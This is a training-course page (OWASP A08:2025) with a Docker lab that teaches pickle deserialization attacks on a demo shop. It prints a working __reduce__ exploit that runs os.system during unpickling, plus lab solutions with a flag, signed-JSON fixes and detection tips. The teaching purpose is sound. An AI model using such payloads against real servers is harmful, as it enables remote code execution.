OWASP Top 10:2025 Course — Module 8 of 10. Course home · Previous: Module 7 — Authentication Failures · Next: Module 9 — Security Logging Failures

Learn first: what is a Software/Data Integrity Failure

A08:2025 covers trusting serialized data without verifying it hasn’t been tampered with. Python’s pickle module is the sharpest example: unpickling isn’t just "parsing data," it’s executing a mini bytecode-like instruction stream that can call any Python callable the attacker chooses — including os.system. If a cookie, a cache value, or any client-controlled blob ever reaches pickle.loads(), that client controls code execution on your server.

Client sets cookie: cart = base64(pickle.dumps(Exploit()))

class Exploit:
    def __reduce__(self):
        return (os.system, ('echo pwned > pwned.txt',))

Server: pickle.loads(base64.b64decode(cookie))
            │
            └─▶ unpickler calls os.system('echo pwned > pwned.txt')
                   on the SERVER, during deserialization, not "running untrusted code" —
                   just deserializing, by design

Switching to JSON (which can only ever produce data, never a function call) plus an HMAC-signed, tamper-evident cookie closes this completely.

Scenario briefing

You’re reviewing Pickle Shop, a small demo storefront that keeps the shopping cart in a cookie for convenience. Nobody on the team thought twice about how that cookie gets serialized.

Lab setup

  1. Download: Download the lab (zip)
  2. Prerequisites: Docker Engine 20+, Docker Compose v2.
  3. Start it:
    cd owasp-a08-data-integrity-lab
    docker compose up -d --build
  4. Check it worked: curl -s http://127.0.0.1:5000/ should return the "Pickle Shop" HTML with a default cart.

Missions

Mission 1 — build and fire the exploit. Craft a malicious pickle payload and send it as the cart cookie.

Show solution

Solution — Mission 1

docker compose exec vulnerable python exploit.py
class Exploit:
    def __reduce__(self):
        cmd = f'echo "pwned by pickle RCE lab" > "{MARKER}"'
        return (os.system, (cmd,))      # runs on the SERVER during unpickling
[+] Sending to http://127.0.0.1:5000/ ...
[+] RCE confirmed — marker file written by the server

Mission 2 — read the proof. Check the marker file the server wrote.

Show solution

Solution — Mission 2

docker compose exec vulnerable cat /work/pwned.txt
pwned by pickle RCE lab - FLAG{a08-pickle-reduce-rce-confirmed}

The command that produced this file ran as the Flask process, with its privileges — in a real deployment, that’s a foothold for anything from reading secrets to pivoting further into the network.

Mission 3 — replay the exact same cookie against the fixed app. Confirm it’s rejected.

Show solution

Solution — Mission 3

docker compose exec fixed python exploit_fixed.py
[+] Server responded: HTTP 200
...Cookie signature invalid — rejected (possible tampering)...
[+] Confirmed: no marker file written. The fixed app rejected the payload.

The fixed app never calls pickle.loads() at all — it validates the cookie’s HMAC signature first (itsdangerous), and a forged cookie simply fails that check before any parsing happens.

Mission 4 — harden the vulnerable app. Replace pickle with signed JSON.

Show solution

Solution — Mission 4

from itsdangerous import URLSafeSerializer, BadSignature
import json, jsonschema

serializer = URLSafeSerializer(app.secret_key)
CART_SCHEMA = {"type": "object", "properties": {"items": {"type": "array"}, "total": {"type": "number"}}}

def decode_cart(token):
    try:
        data = serializer.loads(token)
    except BadSignature:
        return DEFAULT_CART
    jsonschema.validate(data, CART_SCHEMA)
    return data

Restart your patched vulnerable service and run python3 lab.py verify — the same exploit payload now gets rejected, and normal cart operations still work.

Hints

Fix it + re-test

Never call pickle.loads() (or yaml.load() without SafeLoader, or any other format capable of reconstructing arbitrary objects) on data a client can influence. Use JSON for the data shape and validate it against a schema, then sign the whole blob with an HMAC (itsdangerous) so any tampering — not just malformed JSON — is detected and rejected before your code ever looks at the contents.

Detect it

This is a code-review and static-analysis signal more than a runtime log signal: grep your codebase for pickle.loads, yaml.load (without SafeLoader), and similar deserialization calls, and trace every one back to where its input comes from. At runtime, log and alert on cookie-signature validation failures — a sudden spike usually means someone is probing for exactly this bug.

Quick self-check

  1. Why is pickle.loads() fundamentally different from json.loads() in terms of what it can do?
  2. Why does signing the cookie (HMAC) matter even if you also switch to JSON?
  3. If the attacker didn’t know the server’s secret key, could they still forge a valid signed cookie?
Show answers

Answers

  1. json.loads() can only ever produce basic data types (dicts, lists, strings, numbers) — there’s no way to make it call a function; pickle.loads() can reconstruct arbitrary Python objects, including instructions to call any importable callable with attacker-chosen arguments.
  2. Without a signature, an attacker can still send valid JSON that lies about the cart contents (free items, negative totals) — the server would accept and act on tampered-but-well-formed data; the signature proves the data wasn’t modified after the server last set it.
  3. No — itsdangerous‘s URLSafeSerializer derives the signature from app.secret_key, which never leaves the server; without it, any modification to the payload produces a signature mismatch and the server rejects it, exactly as mission 3 demonstrated.